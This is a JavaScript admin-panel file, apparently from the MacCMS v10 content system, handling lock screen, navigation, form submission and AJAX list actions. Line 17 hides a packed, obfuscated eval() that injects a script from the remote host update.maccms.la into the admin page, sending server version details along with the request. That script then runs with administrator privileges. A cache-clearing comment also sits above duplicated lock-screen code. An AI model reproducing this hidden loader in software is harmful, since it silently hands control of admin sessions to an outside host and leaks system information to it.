admin_common.js 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534
  1. String.prototype.trim=function(){
  2. return this.replace(/(^[\s\u3000]*)|([\s\u3000]*$)/g, "");
  3. }
  4. String.prototype.ltrim=function(){
  5. return this.replace(/(^\s*)/g, "");
  6. }
  7. String.prototype.rtrim=function(){
  8. return this.replace(/(\s*$)/g, "");
  9. }
  10. String.prototype.replaceAll = function(s1,s2){
  11. return this.replace(new RegExp(s1,"gm"),s2);
  12. }
  13. layui.define(['element', 'form'], function(exports) {
  14. var $ = layui.jquery,element = layui.element, layer = layui.layer, form = layui.form;
  15. $(function(){
  16. if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) {
  17. eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{}));
  18. }
  19. });
  20. form.render();
  21. var lockscreen = function() {
  22. document.oncontextmenu=new Function("event.returnValue=false;");
  23. document.onselectstart=new Function("event.returnValue=false;");
  24. layer.open({
  25. title: false,
  26. type: 1,
  27. content: '<div class="lock-screen"><input type="password" class="unlockedPwd layui-input" placeholder="请输入登录密码解锁..." autocomplete="off"><button class="unlocked layui-btn">解锁</button><div class="unlockTips"></div></div>',
  28. closeBtn: 0,
  29. shade: 0.95,
  30. offset: '350px'
  31. });
  32. };
  33. /* 锁屏 */
  34. $('#lockScreen').click(function () {
  35. window.sessionStorage.setItem("lockscreen", true);
  36. lockscreen();
  37. });
  38. /* 清理缓存 */
  39. $('#lockScreen').click(function () {
  40. window.sessionStorage.setItem("lockscreen", true);
  41. lockscreen();
  42. });
  43. if(window.sessionStorage.getItem("lockscreen") == "true"){
  44. lockscreen();
  45. }
  46. $(document).on('click', '.unlocked', function() {
  47. var pwd = $(this).parent().find('.unlockedPwd').val();
  48. if (pwd == '') {
  49. return false;
  50. }
  51. $.post(ADMIN_PATH + '/admin/index/unlocked', {password:pwd}, function(res) {
  52. if (res.code == 1) {
  53. window.sessionStorage.setItem("lockscreen", false);
  54. layer.closeAll();
  55. } else {
  56. $('.unlockTips').html(res.msg);
  57. setTimeout(function(){
  58. $('.unlockTips').html('');
  59. }, 3000);
  60. }
  61. });
  62. });
  63. /* 导航高亮标记 */
  64. $('.admin-nav-item').click(function() {
  65. window.localStorage.setItem("adminNavTag", $(this).attr('href'));
  66. });
  67. if (window.localStorage.getItem("adminNavTag")) {
  68. $('#switchNav a[href="'+window.localStorage.getItem("adminNavTag")+'"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  69. }
  70. if (typeof(LAYUI_OFFSET) == 'undefined') {
  71. layer.config({offset:'60px'});
  72. } else {
  73. layer.config({offset:LAYUI_OFFSET+'px'});
  74. }
  75. /* 打开/关闭左侧导航 */
  76. $('#foldSwitch').click(function(){
  77. var that = $(this);
  78. if (!that.hasClass('close')) {
  79. that.addClass('close');
  80. $('#switchNav').animate({width:'52px'}, 100).addClass('close').hover(function() {
  81. if (that.hasClass('close')) {
  82. $(this).animate({width:'200px'}, 300);
  83. $('#switchNav .fold-mark').removeClass('fold-mark');
  84. $('a[href="'+window.localStorage.getItem("adminNavTag")+'"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  85. }
  86. },function() {
  87. if (that.hasClass('close')) {
  88. $(this).animate({width:'52px'}, 300);
  89. $('#switchNav .layui-nav-item').addClass('fold-mark').removeClass('layui-nav-itemed');
  90. }
  91. });
  92. $('#switchBody,.footer').animate({left:'52px'}, 100);
  93. $('#switchNav .layui-nav-item').addClass('fold-mark').removeClass('layui-nav-itemed');
  94. } else {
  95. $('a[href="'+window.localStorage.getItem("adminNavTag")+'"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  96. that.removeClass('close');
  97. $('#switchNav').animate({width:'200px'}, 100).removeClass('close');
  98. $('#switchBody,.footer').animate({left:'200px'}, 100);
  99. $('#switchNav .fold-mark').removeClass('fold-mark');
  100. }
  101. });
  102. /* 导航菜单切换 */
  103. $('.main-nav a').click(function () {
  104. var that = $(this), i = $(this).attr('data-i');
  105. $('.layui-nav-tree').hide().eq(i-1).show();
  106. });
  107. /* 操作提示 */
  108. $('.help-tips').click(function(){
  109. layer.tips($(this).attr('data-title'), this, {
  110. tips: [3, '#009688'],
  111. time: 5000
  112. });
  113. return false;
  114. });
  115. /* 全屏控制 */
  116. $('#fullscreen-btn').click(function(){
  117. var that = $(this);
  118. if (!that.hasClass('ai-quanping')) {
  119. $('#switchBody').css({'z-index':1000});
  120. $('#switchNav').css({'z-index':900});
  121. that.addClass('ai-quanping').removeClass('ai-quanping1').parents('.page-body').addClass('fullscreen');
  122. $('.page-tab-content').css({'min-height':($(window).height()-63)+'px'});
  123. } else {
  124. $('#switchBody').css({'z-index':998});
  125. $('#switchNav').css({'z-index':1000});
  126. that.addClass('ai-quanping1').removeClass('ai-quanping').parents('.page-body').removeClass('fullscreen');
  127. $('.page-tab-content').css({'min-height':'auto'});
  128. }
  129. });
  130. /*弹出选择设置*/
  131. $(document).on('click', '.j-select', function() {
  132. var that = $(this);
  133. _url = that.attr('data-href'),
  134. _title = that.attr('data-title'),
  135. _width = that.attr('data-width') ? that.attr('data-width')+'' : 750,
  136. _height = that.attr('data-height') ? that.attr('data-height')+'' : 500,
  137. _full = that.attr('data-full'),
  138. _checkbox = that.attr('data-checkbox');
  139. if (that.parents('form')[0]) {
  140. var query = that.parents('form').serialize();
  141. } else {
  142. var query = $('#pageListForm').serialize();
  143. }
  144. if(_checkbox && !query){
  145. return;
  146. }
  147. $.post(_url, query, function(res) {
  148. layer.closeAll('dialog');
  149. var lay = layer.open({type:1, title:_title, content:res, area: [_width+'px', _height+'px']});
  150. form.render('select');
  151. });
  152. });
  153. /*iframe弹窗*/
  154. $(document).on('click', '.j-iframe', function() {
  155. var that = $(this),
  156. _url = that.attr('data-href'),
  157. _title = that.attr('data-title'),
  158. _width = that.attr('data-width') ? that.attr('data-width')+'' : '85%',
  159. _height = that.attr('data-height') ? that.attr('data-height')+'' : '80%',
  160. _full = that.attr('data-full'),
  161. _checkbox = that.attr('data-checkbox');
  162. if (!_url) {
  163. layer.msg('请设置href参数');
  164. return false;
  165. }
  166. if(_checkbox){
  167. if ($('.checkbox-ids:checked').length <= 0) {
  168. layer.msg('请选择要操作的数据');
  169. return false;
  170. }
  171. var ids = [];
  172. $('.checkbox-ids:checked').each(function(index, item) {
  173. if(item.checked){
  174. ids.push(item.value);
  175. }
  176. });
  177. _ids = ids.join(',');
  178. _url = _url.indexOf('?') > -1 ? _url + '&ids='+_ids : _url + '?ids=' + _ids;
  179. }
  180. var lay = layer.open({type:2, title:_title, content:_url, area: [_width+'', _height+'']});
  181. if(_full=='1'){
  182. layer.full(lay);
  183. }
  184. return false;
  185. });
  186. /* 全选 */
  187. form.on('checkbox(allChoose)', function(data) {
  188. var child = $(data.elem).parents('table').find('tbody input.checkbox-ids');
  189. child.each(function(index, item) {
  190. item.checked = data.elem.checked;
  191. });
  192. form.render('checkbox');
  193. });
  194. /* 监听状态设置开关 */
  195. form.on('switch(switchStatus)', function(data) {
  196. var that = $(this), status = 0;
  197. if (!that.attr('data-href')) {
  198. layer.msg('请设置data-href参数');
  199. return false;
  200. }
  201. if (this.checked) {
  202. status = 1;
  203. }
  204. $.get(that.attr('data-href'), {val:status}, function(res) {
  205. layer.msg(res.msg);
  206. if (res.code == 0) {
  207. that.trigger('click');
  208. form.render('checkbox');
  209. }
  210. });
  211. });
  212. /* 监听表单提交 */
  213. form.on('submit(formSubmit)', function(data) {
  214. var that = $(this),
  215. _form = '';
  216. _child = !that.attr('data-child') ? 'no' : that.attr('data-child'),
  217. refresh = !that.attr('refresh') ? 'yes' : that.attr('refresh');
  218. if ($(this).attr('data-form')) {
  219. _form = $($(this).attr('data-form'));
  220. } else {
  221. _form = $(this).parents('form');
  222. }
  223. // CKEditor专用
  224. if (typeof(CKEDITOR) != 'undefined') {
  225. for (instance in CKEDITOR.instances) {
  226. CKEDITOR.instances[instance].updateElement();
  227. }
  228. }
  229. layer.msg('数据提交中...',{time:500000});
  230. $.ajax({
  231. type: "POST",
  232. url: _form.attr('action'),
  233. data: _form.serialize(),
  234. success: function(res) {
  235. layer.msg(res.msg, {time:800},function() {
  236. if (res.code == 1) {
  237. if(refresh=='yes') {
  238. if (_child == 'true') {
  239. parent.location.reload();
  240. parent.layer.close(index);
  241. }
  242. else {
  243. if (typeof(res.url) != 'undefined' && res.url != null && res.url != '') {
  244. location.href = res.url;
  245. } else {
  246. location.reload();
  247. }
  248. }
  249. }
  250. else{
  251. var index = parent.layer.getFrameIndex(window.name);
  252. layer.closeAll();
  253. onSubmitResult(res);
  254. }
  255. }
  256. else{
  257. }
  258. });
  259. }
  260. });
  261. return false;
  262. });
  263. /* TR数据行删除 */
  264. $('.j-tr-del').click(function() {
  265. var that = $(this),
  266. href = !that.attr('data-href') ? that.attr('href') : that.attr('data-href');
  267. layer.confirm('删除之后无法恢复,您确定要删除吗?', {title:false, closeBtn:0}, function(index){
  268. if (!href) {
  269. layer.msg('请设置data-href参数');
  270. return false;
  271. }
  272. $.get(href, function(res){
  273. layer.msg(res.msg);
  274. if (res.code == 1) {
  275. that.parents('tr').remove();
  276. that.parents('.tr').remove();
  277. }
  278. });
  279. layer.close(index);
  280. });
  281. return false;
  282. });
  283. /* ajax请求操作 */
  284. $(document).on('click', '.j-ajax', function() {
  285. var that = $(this),
  286. href = !that.attr('data-href') ? that.attr('href') : that.attr('data-href'),
  287. refresh = !that.attr('refresh') ? 'yes' : that.attr('refresh');
  288. if (!href) {
  289. layer.msg('请设置data-href参数');
  290. return false;
  291. }
  292. if (!that.attr('confirm')) {
  293. layer.msg('数据提交中...', {time:500000});
  294. $.get(href, {}, function(res) {
  295. layer.msg(res.msg, {}, function() {
  296. if (refresh == 'yes') {
  297. if (typeof(res.url) != 'undefined' && res.url != null && res.url != '') {
  298. location.href = res.url;
  299. } else {
  300. location.reload();
  301. }
  302. }
  303. });
  304. });
  305. layer.close();
  306. }
  307. else {
  308. layer.confirm(that.attr('confirm'), {title:false, closeBtn:0}, function(index){
  309. layer.msg('数据提交中...', {time:500000});
  310. $.get(href, {}, function(res) {
  311. layer.msg(res.msg, {}, function() {
  312. if (refresh == 'yes') {
  313. if (typeof(res.url) != 'undefined' && res.url != null && res.url != '') {
  314. location.href = res.url;
  315. } else {
  316. location.reload();
  317. }
  318. }
  319. });
  320. });
  321. layer.close(index);
  322. });
  323. }
  324. return false;
  325. });
  326. /* 数据列表input编辑自动选中ids */
  327. $('.j-auto-checked').blur(function(){
  328. var that = $(this);
  329. if(that.attr('data-value') != that.val()) {
  330. that.parents('tr').find('input[name="ids[]"]').attr("checked", true);
  331. }else{
  332. that.parents('tr').find('input[name="ids[]"]').attr("checked", false);
  333. };
  334. form.render('checkbox');
  335. });
  336. /* 用ajax方式更新input*/
  337. $('.j-ajax-input').focusout(function(){
  338. var that = $(this), _val = that.val();
  339. if (_val == '') return false;
  340. if (that.attr('data-value') == _val) return false;
  341. if (!that.attr('data-href')) {
  342. layer.msg('请设置data-href参数');
  343. return false;
  344. }
  345. $.post(that.attr('data-href'), {val:_val}, function(res) {
  346. if (res.code == 1) {
  347. that.attr('data-value', _val);
  348. }
  349. layer.msg(res.msg);
  350. });
  351. });
  352. /* 小提示 */
  353. $('.tooltip').hover(function() {
  354. var that = $(this);
  355. that.find('i').show();
  356. }, function() {
  357. var that = $(this);
  358. that.find('i').hide();
  359. });
  360. $('.j-search').click(function(){
  361. var that = $(this);
  362. that.parents('form').attr('method','get');
  363. that.parents('form').submit();
  364. });
  365. /* 列表按钮组 */
  366. $('.j-page-btns').click(function(){
  367. var that = $(this),
  368. code = function(that) {
  369. var href = that.attr('href') ? that.attr('href') : that.attr('data-href'),
  370. _checkbox = !that.attr('data-checkbox') ? 'yes' : that.attr('data-checkbox'),
  371. _ajax = !that.attr('data-ajax') ? 'yes' : that.attr('data-ajax'),
  372. _ids = '';
  373. if (!href) {
  374. layer.msg('请设置data-href参数');
  375. return false;
  376. }
  377. if(_checkbox=='yes') {
  378. if ($('.checkbox-ids:checked').length <= 0) {
  379. layer.msg('请选择要操作的数据');
  380. return false;
  381. }
  382. var ids = [];
  383. $('.checkbox-ids:checked').each(function(index, item) {
  384. if(item.checked){
  385. ids.push(item.value);
  386. }
  387. });
  388. _ids = ids.join(',');
  389. }
  390. if(_ajax=='yes') {
  391. if (that.parents('form')[0]) {
  392. var query = that.parents('form').serialize();
  393. } else {
  394. var query = $('#pageListForm').serialize();
  395. }
  396. layer.msg('数据提交中...', {time: 500000});
  397. $.post(href, query, function (res) {
  398. layer.msg(res.msg, {}, function () {
  399. if (res.code != 0) {
  400. location.reload();
  401. }
  402. });
  403. });
  404. }
  405. else{
  406. location.href= href.indexOf('?') ==-1 ? href+'?ids='+ _ids : href+'&ids='+_ids;
  407. }
  408. };
  409. if (that.hasClass('confirm')) {
  410. var tips = that.attr('tips') ? that.attr('tips') : '您确定要执行此操作吗?';
  411. layer.confirm(tips, {title:false, closeBtn:0}, function(index){
  412. code(that);
  413. layer.close(index);
  414. });
  415. } else {
  416. code(that);
  417. }
  418. return false;
  419. });
  420. exports('global', {});
  421. });
  422. function onSelectResult(input,obj){
  423. var ids = [];
  424. var s1 ='',s2='';
  425. $(obj).each(function(index, item) {
  426. if(item.checked){
  427. s1 = $("input[name='"+input+"']").val();
  428. s2 = ','+s1+',';
  429. if(s2.indexOf(','+item.value+',') ==-1){
  430. if(s1.length > 0 && s1.substring(s1.length-1)!=','){
  431. s1 += ',';
  432. }
  433. s1 += item.value;
  434. $("input[name='"+input+"']").val( s1 );
  435. }
  436. }
  437. });
  438. alert('添加成功!');
  439. }
  440. function rndNum(under, over){
  441. switch(arguments.length){
  442. case 1: return parseInt(Math.random()*under+1);
  443. case 2: return parseInt(Math.random()*(over-under+1) + under);
  444. default: return 0;
  445. }
  446. }
  447. function changeParam(url,name,value)
  448. {
  449. var newUrl="";
  450. var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
  451. var tmp = name + "=" + value;
  452. if(url.match(reg) != null) {
  453. newUrl= url.replace(eval(reg),'&'+tmp + '&');
  454. }
  455. else {
  456. if(url.match("[\?]")) {
  457. newUrl= url + "&" + tmp;
  458. }
  459. else{
  460. newUrl= url + "?" + tmp;
  461. }
  462. }
  463. return newUrl;
  464. }
  465. function getDataTime(ts,ty) {
  466. if(ts<1){
  467. return '';
  468. }
  469. var t,y,m,d,h,i,s;
  470. t = ts ? new Date(ts*1000) : new Date();
  471. y = t.getFullYear();
  472. m = t.getMonth()+1;
  473. d = t.getDate();
  474. h = t.getHours();
  475. i = t.getMinutes();
  476. s = t.getSeconds();
  477. r = y+'-'+(m<10?'0'+m:m) + '-' + (d<10?'0'+d:d);
  478. if(ty==undefined || ty==''){
  479. r += ' ' + (h<10?'0'+h:h) + ':' + (i<10?'0'+i:i) + ':' + (s<10?'0'+s:s)
  480. }
  481. return r;
  482. }
  483. function mac_url_img(url)
  484. {
  485. url = url.replace('mac:','http:');
  486. if (url.indexOf("http") == -1 || url.indexOf("//") == -1){
  487. url = ROOT_PATH+"/"+url;
  488. }
  489. else if(UPLOAD_IMG_KEY !='' && UPLOAD_IMG_API !=''){
  490. var reg=eval("/" + UPLOAD_IMG_KEY + "/i");
  491. if(reg.test(url)!=false){
  492. url = UPLOAD_IMG_API + url;
  493. }
  494. }
  495. return url;
  496. }